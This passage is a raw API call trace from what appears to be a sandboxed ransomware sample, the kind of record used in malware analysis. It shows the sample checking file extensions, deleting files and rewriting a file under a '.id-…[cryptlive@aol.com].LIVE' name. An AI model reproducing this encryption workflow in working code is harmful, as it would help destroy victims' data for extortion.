(lpString=".ppt") returned 4 [0048.837] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0048.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.837] lstrlenW (lpString=".zip") returned 4 [0048.837] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0048.838] lstrlenW (lpString=".rar") returned 4 [0048.838] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0048.838] lstrlenW (lpString=".bz2") returned 4 [0048.838] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0048.838] lstrlenW (lpString=".7z") returned 3 [0048.838] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0048.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.838] lstrlenW (lpString=".dbf") returned 4 [0048.838] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0048.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.838] lstrlenW (lpString=".1cd") returned 4 [0048.838] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0048.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0048.838] lstrlenW (lpString=".jpg") returned 4 [0048.838] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0048.838] lstrcmpiW (lpString1=".wmf", lpString2=".LIVE") returned 1 [0048.838] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0048.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0048.838] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7498) returned 1 [0048.838] CloseHandle (hObject=0x180) returned 1 [0048.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0048.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0048.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.839] lstrlenW (lpString=".doc") returned 4 [0048.839] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0048.839] lstrlenW (lpString=".docx") returned 5 [0048.839] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0048.839] lstrlenW (lpString=".pdf") returned 4 [0048.839] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0048.839] lstrlenW (lpString=".xls") returned 4 [0048.839] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0048.839] lstrlenW (lpString=".xlsx") returned 5 [0048.839] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0048.839] lstrlenW (lpString=".ppt") returned 4 [0048.839] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0048.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.839] lstrlenW (lpString=".zip") returned 4 [0048.839] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0048.839] lstrlenW (lpString=".rar") returned 4 [0048.839] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0048.839] lstrlenW (lpString=".bz2") returned 4 [0048.839] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0048.839] lstrlenW (lpString=".7z") returned 3 [0048.839] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0048.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.839] lstrlenW (lpString=".dbf") returned 4 [0048.839] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0048.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.839] lstrlenW (lpString=".1cd") returned 4 [0048.839] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0048.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.839] lstrlenW (lpString=".jpg") returned 4 [0048.839] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0048.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.840] lstrlenW (lpString=".doc") returned 4 [0048.840] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0048.840] lstrlenW (lpString=".docx") returned 5 [0048.840] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0048.840] lstrlenW (lpString=".pdf") returned 4 [0048.840] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0048.840] lstrlenW (lpString=".xls") returned 4 [0048.840] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0048.840] lstrlenW (lpString=".xlsx") returned 5 [0048.840] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0048.840] lstrlenW (lpString=".ppt") returned 4 [0048.840] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0048.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.840] lstrlenW (lpString=".zip") returned 4 [0048.840] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0048.840] lstrlenW (lpString=".rar") returned 4 [0048.840] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0048.840] lstrlenW (lpString=".bz2") returned 4 [0048.840] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0048.840] lstrlenW (lpString=".7z") returned 3 [0048.840] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0048.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.840] lstrlenW (lpString=".dbf") returned 4 [0048.840] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0048.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.840] lstrlenW (lpString=".1cd") returned 4 [0048.840] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0048.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0048.840] lstrlenW (lpString=".jpg") returned 4 [0048.840] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0048.840] lstrcmpiW (lpString1=".htm", lpString2=".LIVE") returned -1 [0048.841] lstrlenW (lpString="Hand Prints.htm") returned 15 [0048.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0048.855] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=235) returned 1 [0048.855] CloseHandle (hObject=0x180) returned 1 [0048.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0048.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0048.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.855] lstrlenW (lpString=".doc") returned 4 [0048.855] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0048.855] lstrlenW (lpString=".docx") returned 5 [0048.855] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0048.855] lstrlenW (lpString=".pdf") returned 4 [0048.855] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0048.855] lstrlenW (lpString=".xls") returned 4 [0048.855] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0048.855] lstrlenW (lpString=".xlsx") returned 5 [0048.855] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0048.855] lstrlenW (lpString=".ppt") returned 4 [0048.855] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0048.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.855] lstrlenW (lpString=".zip") returned 4 [0048.855] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0048.855] lstrlenW (lpString=".rar") returned 4 [0048.855] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0048.855] lstrlenW (lpString=".bz2") returned 4 [0048.855] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0048.855] lstrlenW (lpString=".7z") returned 3 [0048.856] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0048.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.856] lstrlenW (lpString=".dbf") returned 4 [0048.856] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0048.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.856] lstrlenW (lpString=".1cd") returned 4 [0048.856] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0048.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.856] lstrlenW (lpString=".jpg") returned 4 [0048.856] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0048.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.856] lstrlenW (lpString=".doc") returned 4 [0048.856] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0048.856] lstrlenW (lpString=".docx") returned 5 [0048.856] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0048.856] lstrlenW (lpString=".pdf") returned 4 [0048.856] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0048.856] lstrlenW (lpString=".xls") returned 4 [0048.856] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0048.856] lstrlenW (lpString=".xlsx") returned 5 [0048.856] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0048.856] lstrlenW (lpString=".ppt") returned 4 [0048.856] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0048.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.856] lstrlenW (lpString=".zip") returned 4 [0048.856] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0048.856] lstrlenW (lpString=".rar") returned 4 [0048.856] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0048.856] lstrlenW (lpString=".bz2") returned 4 [0048.856] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0048.856] lstrlenW (lpString=".7z") returned 3 [0048.856] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0048.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.856] lstrlenW (lpString=".dbf") returned 4 [0048.857] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0048.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.857] lstrlenW (lpString=".1cd") returned 4 [0048.857] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0048.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0048.857] lstrlenW (lpString=".jpg") returned 4 [0048.857] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0048.857] lstrcmpiW (lpString1=".jpg", lpString2=".LIVE") returned -1 [0048.857] lstrlenW (lpString="HandPrints.jpg") returned 14 [0048.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0048.857] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4222) returned 1 [0048.857] CloseHandle (hObject=0x180) returned 1 [0048.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0048.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0048.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.858] lstrlenW (lpString=".doc") returned 4 [0048.858] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0048.858] lstrlenW (lpString=".docx") returned 5 [0048.858] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0048.858] lstrlenW (lpString=".pdf") returned 4 [0048.858] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0048.858] lstrlenW (lpString=".xls") returned 4 [0048.858] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0048.858] lstrlenW (lpString=".xlsx") returned 5 [0048.858] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0048.858] lstrlenW (lpString=".ppt") returned 4 [0048.858] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.858] lstrlenW (lpString=".zip") returned 4 [0048.858] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0048.858] lstrlenW (lpString=".rar") returned 4 [0048.858] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0048.858] lstrlenW (lpString=".bz2") returned 4 [0048.858] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0048.858] lstrlenW (lpString=".7z") returned 3 [0048.858] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.858] lstrlenW (lpString=".dbf") returned 4 [0048.858] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.858] lstrlenW (lpString=".1cd") returned 4 [0048.858] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.858] lstrlenW (lpString=".jpg") returned 4 [0048.858] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0048.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.859] lstrlenW (lpString=".doc") returned 4 [0048.859] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0048.859] lstrlenW (lpString=".docx") returned 5 [0048.859] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0048.859] lstrlenW (lpString=".pdf") returned 4 [0048.859] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0048.859] lstrlenW (lpString=".xls") returned 4 [0048.859] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0048.859] lstrlenW (lpString=".xlsx") returned 5 [0048.859] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0048.859] lstrlenW (lpString=".ppt") returned 4 [0048.859] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0048.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.859] lstrlenW (lpString=".zip") returned 4 [0048.859] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0048.859] lstrlenW (lpString=".rar") returned 4 [0048.859] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0048.859] lstrlenW (lpString=".bz2") returned 4 [0048.859] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0048.859] lstrlenW (lpString=".7z") returned 3 [0048.859] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0048.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.859] lstrlenW (lpString=".dbf") returned 4 [0048.859] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0048.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.859] lstrlenW (lpString=".1cd") returned 4 [0048.859] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0048.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0048.859] lstrlenW (lpString=".jpg") returned 4 [0048.859] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0048.859] lstrcmpiW (lpString1=".emf", lpString2=".LIVE") returned -1 [0048.860] lstrlenW (lpString="Memo.emf") returned 8 [0048.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0048.860] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=152300) returned 1 [0048.860] CloseHandle (hObject=0x180) returned 1 [0048.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf")) returned 0x20 [0048.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0048.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66 [0048.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66 [0048.861] lstrlenW (lpString=".doc") returned 4 [0048.861] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0048.861] lstrlenW (lpString=".docx") returned 5 [0048.861] lstrcmpiW (lpString1=".docx", lpString2="o.emf") returned -1 [0048.861] lstrlenW (lpString=".pdf") returned 4 [0048.861] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0048.861] lstrlenW (lpString=".xls") returned 4 [0048.861] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0048.861] lstrlenW (lpString=".xlsx") returned 5 [0048.861] lstrcmpiW (lpString1=".xlsx", lpString2="o.emf") returned -1 [0048.861] lstrlenW (lpString=".ppt") returned 4 [0048.861] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0048.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66 [0048.861] lstrlenW (lpString=".zip") returned 4 [0048.861] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0048.861] lstrlenW (lpString=".rar") returned 4 [0048.861] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0048.861] lstrlenW (lpString=".bz2") returned 4 [0048.861] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0048.862] lstrlenW (lpString=".7z") returned 3 [0048.862] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0048.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66 [0048.862] lstrlenW (lpString=".dbf") returned 4 [0048.862] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0050.800] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0051.057] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0051.451] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0051.707] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0059.305] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=30948) returned 1 [0059.305] CloseHandle (hObject=0x21c) returned 1 [0059.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0059.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0059.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0059.306] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.306] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0059.764] GetLastError () returned 0x0 [0059.764] ReadFile (in: hFile=0x21c, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x78e4, lpOverlapped=0x0) returned 1 [0059.789] WriteFile (in: hFile=0x1e4, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0059.790] ReadFile (in: hFile=0x21c, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.790] WriteFile (in: hFile=0x1e4, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.790] SetEndOfFile (hFile=0x1e4) returned 1 [0059.791] CloseHandle (hObject=0x1e4) returned 1 [0059.791] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.791] SetEndOfFile (hFile=0x21c) returned 1 [0059.792] CloseHandle (hObject=0x21c) returned 1 [0059.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 